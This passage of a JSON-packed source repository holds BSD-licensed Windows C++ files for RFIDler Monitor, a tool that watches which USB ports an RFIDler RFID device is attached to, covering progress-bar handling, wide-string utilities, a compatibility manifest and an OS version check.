    "content": "/* \n\n    Project: RFIDler Monitor v0.1\n             Graphical monitor that lists which USB ports an RFIDler is \n             currently connected to, and watches for changes.\n             Tool for Aperture Labs RFIDler LF.\n\n    File: taskbarfeatures.cpp\n\n    Author: Anthony Naggs, 2015\n\n    Copyright (c) 2015 Anthony Naggs.\n    All rights reserved.\n\n    Limited assignment of rights under the 'BSD 2-Clause License':\n\n    Redistribution and use in source and binary forms, with or without modification, are\n    permitted provided that the following conditions are met:\n\n    1. Redistributions of source code must retain the above copyright notice, this list of\n       conditions and the following disclaimer.\n\n    2. Redistributions in binary form must reproduce the above copyright notice, this list\n       of conditions and the following disclaimer in the documentation and/or other materials\n       provided with the distribution.\n\n    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY\n    EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n    MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL\n    THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n    SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT\n    OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n    HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR\n    TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,\n    EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\n#include \"rfidmonitor.h\"\n\n\n/*\n taskbarfeatures.cpp seeded with StartOrStopProgressMarquee() fn from rfidler-install program\n\n TODO add fn to manage Taskbar icon overlays\n */\n\n\n// control Progress Marquee in Window & optionally under Taskbar icon\n// NOTE static state means currently only one Window can have progress bar at a time\n\nvoid StartOrStopProgressMarquee(HWND hWnd, HWND hWndProgBar, ITaskbarList3* pTbList, ProgBarState pbState)\n{\n    // comctrl32 v6 required; set & show or clear & hide progress bar in marquee mode\n    // also for Windows >= 7, start/stop marquee progress bar on the icon\n    static BOOL marquee = FALSE;\n\n    switch (pbState)\n    {\n    case PROG_START: // start marquee\n        ShowWindow(hWndProgBar, SW_NORMAL);\n        if (!marquee) {\n            LONG style = GetWindowLong(hWndProgBar, GWL_STYLE);\n            if (! (style & PBS_MARQUEE)) {\n                SetWindowLong(hWndProgBar, GWL_STYLE, style | PBS_MARQUEE);\n            }\n\n            SendMessage(hWndProgBar, PBM_SETMARQUEE, TRUE, 0);\n            marquee = TRUE;\n        \n            if (pTbList) {\n                pTbList->SetProgressState(hWnd, TBPF_INDETERMINATE);\n            }\n        }\n        break;\n    case PROG_ERROR: // stop marquee at 100% & display as red\n    case PROG_COMPLETE:\n        if (marquee) {\n            LONG style = GetWindowLong(hWndProgBar, GWL_STYLE);\n            if (style & PBS_MARQUEE) {\n                SetWindowLong(hWndProgBar, GWL_STYLE, style & ~PBS_MARQUEE);\n                SendMessage(hWndProgBar, PBM_SETMARQUEE, FALSE, 0);\n            }\n            marquee = FALSE;\n        }\n        SendMessage(hWndProgBar, PBM_SETRANGE32, 0, 100);\n        SendMessage(hWndProgBar, PBM_SETPOS, 100, 0);\n        SendMessage(hWndProgBar, PBM_SETSTATE, (PROG_COMPLETE == pbState) ? PBST_NORMAL : PBST_ERROR, 0);\n        if (pTbList) {\n            // set progress (default is 0, so e.g. red hardly shows)\n            pTbList->SetProgressState(hWnd, (PROG_COMPLETE == pbState) ? TBPF_NORMAL : TBPF_ERROR);\n            pTbList->SetProgressValue(hWnd, 100, 100);\n        }\n        break;\n    case PROG_HIDE:\n    default:\n        // remove marquee\n        if (marquee) {\n            SendMessage(hWndProgBar, PBM_SETMARQUEE, FALSE, 0);\n            marquee = FALSE;\n        }\n        ShowWindow(hWndProgBar, SW_HIDE);\n        if (pTbList) {\n            pTbList->SetProgressState(hWnd, TBPF_NOPROGRESS);\n        }\n        break;\n    }\n}\n\n\n/* end of file taskbarfeatures.cpp */"
  },
  {
    "path": "windows-src/RFIDler-mon/wcs_utilities.cpp",
    "content": "/* \n\n    Project: RFIDler Monitor v0.1\n             Graphical monitor that lists which USB ports an RFIDler is \n             currently connected to, and watches for changes.\n             Tool for Aperture Labs RFIDler LF.\n\n    File: wcs_utilities.cpp\n\n    Author: Anthony Naggs, 2014\n\n    Copyright (c) 2014-2015 Anthony Naggs.\n    All rights reserved.\n\n    Limited assignment of rights under the 'BSD 2-Clause License':\n\n    Redistribution and use in source and binary forms, with or without modification, are\n    permitted provided that the following conditions are met:\n\n    1. Redistributions of source code must retain the above copyright notice, this list of\n       conditions and the following disclaimer.\n\n    2. Redistributions in binary form must reproduce the above copyright notice, this list\n       of conditions and the following disclaimer in the documentation and/or other materials\n       provided with the distribution.\n\n    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY\n    EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n    MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL\n    THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n    SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT\n    OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n    HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR\n    TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,\n    EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\n\n#include \"rfidmonitor.h\"\n\n\n// duplicate a substring, max of length wide chars\n// protects when copying registry strings that are not NIL terminated\nwchar_t* wcs_dupsubstr(const wchar_t* string, size_t length)\n{\n    size_t alloclen; // = (string[length] == L'\\0') ? length : (length + 1);\n    wchar_t* buff = NULL;\n    \n    if (string != NULL) {\n        for (alloclen = 0; (alloclen < length) && (string[alloclen] != L'\\0'); alloclen++)\n            ;\n\n        if (alloclen > 0) {\n            buff = (wchar_t*)calloc(alloclen + 1, sizeof(wchar_t));\n\n            if (buff) {\n                wcsncpy_s(buff, alloclen + 1, string, alloclen);\n            }\n        }\n    }\n    return buff;\n}\n\n\n// case insensitive substring search\nconst wchar_t* wcs_istr(const wchar_t* pString, const wchar_t* pSubStr)\n{\n    if (pString && pSubStr && *pString && *pSubStr) {\n        size_t lenSubStr = wcslen(pSubStr);\n        wchar_t ch = *pSubStr;\n\n        do {\n            while (*pString == ch) {\n                if (!_wcsnicmp(pString, pSubStr, lenSubStr)) {\n                    return pString;\n                }\n                pString++;\n            }\n            while (*pString && (*pString != ch)) {\n                pString++;\n            }\n        } while(*pString);\n    }\n    return NULL;\n}\n\n\n// exact string prefix?\nBOOL wcs_checkprefix(const wchar_t* String, const wchar_t* SubStr)\n{\n    size_t len = wcslen(SubStr);\n\n    if (0 == wcsncmp(String, SubStr, len)) {\n        return TRUE;\n    }\n    return FALSE;\n}\n\n\n// if string has expected prefix then return offset to the rest of the string, otherwise NULL\nBOOL wcs_consumeprefix(const wchar_t* String, const wchar_t* SubStr, unsigned* Offset)\n{\n    size_t len = wcslen(SubStr);\n\n    if (0 == wcsncmp(String, SubStr, len)) {\n        *Offset = len;\n        return TRUE;\n    }\n    *Offset = 0;\n    return FALSE;\n}\n\n\n/* end of file wcs_utilities.cpp */"
  },
  {
    "path": "windows-src/RFIDler-mon/win-compat.manifest",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\" standalone=\"yes\"?>\n<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\">\n  <compatibility xmlns=\"urn:schemas-microsoft-com:compatibility.v1\">\n    <application>\n      <!--The ID below indicates application support for Windows Vista -->\n      <supportedOS Id=\"{e2011457-1546-43c5-a5fe-008deee3d3f0}\"/>\n      <!--The ID below indicates application support for Windows 7 -->\n      <supportedOS Id=\"{35138b9a-5d96-4fbd-8e2d-a2440225f93a}\"/>\n      <!-- Windows 8 -->\n      <supportedOS Id=\"{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}\"/>\n      <!-- Windows 8.1 -->\n      <supportedOS Id=\"{1f676c76-80e1-4239-95bb-83d0f6d0da78}\"/>\n      <!-- Windows 10 --> \n      <supportedOS Id=\"{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}\"/>\n    </application>\n  </compatibility>\n</assembly>\n"
  },
  {
    "path": "windows-src/RFIDler-mon/windowsversion.cpp",
    "content": "/* \n\n    Project: RFIDler Monitor v0.1\n             Graphical monitor that lists which USB ports an RFIDler is \n             currently connected to, and watches for changes.\n             Tool for Aperture Labs RFIDler LF.\n\n    File: windowsversion.cpp\n\n    Author: Anthony Naggs, 2014-2015\n\n    Copyright (c) 2014-2015 Anthony Naggs.\n    All rights reserved.\n\n    Limited assignment of rights under the 'BSD 2-Clause License':\n\n    Redistribution and use in source and binary forms, with or without modification, are\n    permitted provided that the following conditions are met:\n\n    1. Redistributions of source code must retain the above copyright notice, this list of\n       conditions and the following disclaimer.\n\n    2. Redistributions in binary form must reproduce the above copyright notice, this list\n       of conditions and the following disclaimer in the documentation and/or other materials\n       provided with the distribution.\n\n    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY\n    EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n    MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL\n    THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n    SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT\n    OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n    HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR\n    TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,\n    EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\n#include \"rfidmonitor.h\"\n\n\n/*\n    windowsversion.cpp seeded with:\n    StartOrStopProgressMarquee() fn from rfidler-install program\n */\n\nBOOL CheckWindowsVersion(enum WinVersion request)\n{\n    static int gotVerInfo = 0; // 1 => full OSVERSIONINFOEX, 2 => old style OSVERSIONINFO\n    static OSVERSIONINFOEX winVer;\n\n    BOOL checkResult = FALSE;\n\n    if (gotVerInfo == 0) {\n        BOOL success = FALSE;\n\n        // winVer is static so will be initialised to 0\n        winVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);\n        success = GetVersionEx((LPOSVERSIONINFO) &winVer);\n\n        if (success) {\n            gotVerInfo = 1;\n        } else {\n            // fallback to basic OSVERSIONINFO data\n            winVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);\n            success = GetVersionEx((LPOSVERSIONINFO) &winVer);\n            if (success) {\n                gotVerInfo = 2;\n            }\n        }\n    }\n\n    if (gotVerInfo != 0) {\n        switch (request)\n        {\n        case WinAtLeastXP:\n            if (winVer.dwPlatformId == VER_PLATFORM_WIN32_NT) {\n                // Windows XP returns version 5.1 from GetVersionEx\n                if ((winVer.dwMajorVersion > 5) || ((winVer.dwMajorVersion == 5) && (winVer.dwMinorVersion >= 1))) {\n                    checkResult = TRUE;\n                }\n            }\n            break;\n\n        case WinAtLeastVista:\n            if (winVer.dwPlatformId == VER_PLATFORM_WIN32_NT) {\n                // Windows Vista returns version 6.0 from GetVersionEx\n                if (winVer.dwMajorVersion >= 6) {\n                    checkResult = TRUE;\n                }\n            }\n            break;\n\n        case WinAtLeast7:\n            if (winVer.dwPlatformId == VER_PLATFORM_WIN32_NT) {\n                // Windows 7 returns version 6.1 from GetVersionEx\n                if ((winVer.dwMajorVersion > 6) || ((winVer.dwMajorVersion == 6) && (winVer.dwMinorVersion >= 1))) {\n                    checkResult = TRUE;\n                }\n            }\n            break;\n\n        case WinAtLeast8:\n            if (winVer.dwPlatformId == VER_PLATFORM_WIN32_NT) {\n                // Windows 8.0 returns version 6.2 from GetVersionEx\n                if ((winVer.dwMajorVersion > 6) || ((winVer.dwMajorVersion == 6) && (winVer.dwMinorVersion >= 2))) {\n                    checkResult = TRUE;\n                }\n            }\n            break;\n\n        case WinAtLeast10:\n            if (winVer.dwPlatformId == VER_PLATFORM_WIN32_NT) {\n                // Windows 10 returns version 10.0 from GetVersionEx, *but only if Manifested for version 10* otherwise 6.2\n                if (winVer.dwMajorVersion >= 10) {\n                    checkResult = TRUE;\n                }\n            }\n            break;\n\n        default: assert(0);\n        }\n    }\n\n    return checkResult;\n}\n\n\n/* end of file windowsversion.cpp */"
  }
]